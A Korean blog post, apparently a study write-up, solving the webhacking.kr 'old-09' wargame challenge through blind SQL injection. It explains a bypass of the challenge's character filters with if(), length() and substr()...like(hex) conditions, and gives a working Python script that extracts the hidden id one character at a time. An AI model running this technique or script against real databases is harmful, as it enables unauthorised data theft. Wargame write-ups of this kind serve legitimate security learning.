Notice
Recent Posts
Recent Comments
Link
«   2024/10   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Archives
Today
Total
관리 메뉴

아모에요

[webhacking.kr] old-09 본문

Study/Hacking

[webhacking.kr] old-09

dys4nt 2023. 6. 14. 14:46

SQLi는 맞는데 필터링이 걸려있는 문제

소괄호는 필터링이 되어있지 않는다.

 

if(true,1,1234) 형태로 입력하면 if조건문에서 no=1이 되고 Apple이 출력된다.

반대로 조건이 false가 되면 no=1234가 되면서 Apple이 출력되지 않는다.

 

blind-sqli로 풀리는 문제 같은데.. 필터링이 빡세서 어떻게 해야할지 고민했다.

 

no=3이면서 id를 구해야하는데.. no가 3이라는걸 어떻게 조건을 맞출까 생각하다가

 

if(조건문,1,1234)를 입력했을때. 쿼리상에는 다음과 같은 쿼리가 입력되었을 것이다.

 

SELECT text FROM table WHERE no=if(조건문,3,1234)

db테이블에 최소 3개의 컬럼이 존재하고

각각

 

text = 반환되는 텍스트 (no=1일때 Apple, no=2일때 Banana, no=3일때 Secret)

id = 아이디 (?/?/? = 구해야함)

no = 1/2/3

 

조건문에 id와 관련한 조건식을 넣으면

length(id)like(len)

 

1.모든 데이터를 가져와서 length(id)like(len)에 대해서 조건식을 수행하고 true,false를 반환

2. 반환된 boolean 값을 바탕으로 true일 경우(length(id)=len)인 모든 데이터에 대해서 no=3인 데이터를 찾고, 존재하면 그 데이터의 text 값을 반환

 

즉, 거꾸로 말하면 SQL 특성상 if(조건식,3,1234)과 같은 if문을 대입했을 때 no=3이면서 조건식을 만족하는 데이터만 출력된다!

 

바로 코드를 짜 보면

import requests

def solve(no,text):
    len=0
    res=''
    i=0
    while len==0:
        i+=1
        url = f"https://webhacking.kr/challenge/web-09/?no=if(length(id)like({i}),{no},1234)"
        ret = requests.get(url)
        if text in ret.text:
            len = i
    print("len: "+str(len))

    for i in range(1,1+len):
        for j in range(32,128):
            url = f"https://webhacking.kr/challenge/web-09/?no=if(substr(id,{i},1)like({hex(j)}),{no},1234)"
            ret = requests.get(url)
            if text in ret.text:
                res += chr(j)
                break

    print(res)

solve(3,"Secret")

like()에 문자를 넣어야 했는데 char가 필터링되어있어서 hex 값으로 입력하였다.

이렇게 하면 풀릴줄 알았는데.. res=%%%%%%%%%%%가 나와버렸다.

 

range 범위를 48~127로 바꾸면 

값이 위와 같이 나타나는데, 바로 풀릴줄 알았지만 입력해보니 정답이 아니다.

 

소문자로 변경해서 입력하니 문제가 풀린다.

'Study > Hacking' 카테고리의 다른 글

[webhacking.kr] old-11  (0) 2023.06.14
[webhacking.kr] old-10  (0) 2023.06.14
[webhacking.kr] old-07  (0) 2023.06.14
[SECGAME] Response  (0) 2023.06.13
[webhacking.kr] old-06  (0) 2023.06.13